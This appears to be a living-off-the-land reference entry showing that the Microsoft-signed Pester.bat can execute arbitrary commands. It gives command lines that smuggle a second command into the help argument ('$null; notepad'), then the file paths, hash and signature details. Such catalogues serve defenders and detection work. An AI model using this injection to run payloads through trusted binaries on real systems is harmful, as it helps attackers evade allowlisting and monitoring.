## pester.bat

* Functions: Execute

```
# Execute notepad
Pester.bat /help "$null; notepad"
# Execute calc
Pester.bat /help "$null; calc"
# Execute Get-Process cmdlet
Pester.bat /help "$null; ps"

# Other options for 2nd parameter
pester.bat help "$null; notepad"
pester.bat /help "$null; notepad"
pester.bat ? "$null; notepad"
pester.bat -? "$null; notepad"
pester.bat /? "$null; notepad"

# 3rd parameter can be anything
pester.bat /help "'doesnotexist'; notepad"
pester.bat /help "Get-Help; notepad"
pester.bat /help "gcm;notepad"

# 4th parameter is the payload

```

Acknowledgements:
* Emin Atac - @p0w3rsh3ll

Code sample:
None

Resources:
None

Full path:
```powershell
# Shipped inbox
"c:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat"   

# There can be other versions present as well
Dir "c:\Program Files\WindowsPowerShell\Modules\Pester\*\bin\Pester.bat"
```

Notes: This file is digitally signed by a Microsoft certificate
```powershell

 Get-FileHash "C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat"


Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          EB83A9D837CFE2F409CA3839B017E307A7A65782CB6A0AE0C50731C244DAD40E       C:\Program Files\WindowsPower...


Get-AuthenticodeSignature "C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat" | fl


SignerCertificate      : [Subject]
                           CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

                         [Issuer]
                           CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington,
                         C=US

                         [Serial Number]
                           33000001733031072665B8B9B3000000000173

                         [Not Before]
                           11/08/2017 22:23:35

                         [Not After]
                           11/08/2018 22:23:35

                         [Thumbprint]
                           14590DC5C3AAF238FCFD7785B4B93F4071402C34

TimeStamperCertificate : [Subject]
                           CN=Microsoft Time-Stamp Service, OU=nCipher DSE ESN:12E7-3064-6112, OU=AOC, O=Microsoft
                         Corporation, L=Redmond, S=Washington, C=US

                         [Issuer]
                           CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

                         [Serial Number]
                           33000000AC8A21BC7AD29B72F40000000000AC

                         [Not Before]
                           07/09/2016 19:56:54

                         [Not After]
                           07/09/2018 19:56:54

                         [Thumbprint]
                           3970258B14C879DD5F0C5DE98B9CB39499F71CB7

Status                 : Valid
StatusMessage          : Signature verified.
Path                   : C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat
SignatureType          : Catalog
IsOSBinary             : True
```